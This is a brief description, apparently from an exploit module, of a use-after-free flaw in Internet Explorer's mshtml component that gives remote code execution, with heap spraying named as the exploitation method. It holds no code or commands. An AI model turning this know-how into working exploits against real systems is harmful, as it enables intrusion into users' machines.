          This module exploits a vulnerability found in Internet Explorer's
        mshtml component.  Due to the way IE handles objects in memory, it is
        possible to cause a pointer in CTableRowCellsCollectionCacheItem::GetNext
        to be used even after it gets freed, therefore allowing remote code
        execution under the context of the user.

          This particular vulnerability was also one of 2012's Pwn2Own
        challenges, and was later explained by Peter Vreugdenhil with exploitation
        details.  Instead of Peter's method, this module uses heap spraying like
        the 99% to store a specially crafted memory layout before re-using the
        freed memory.
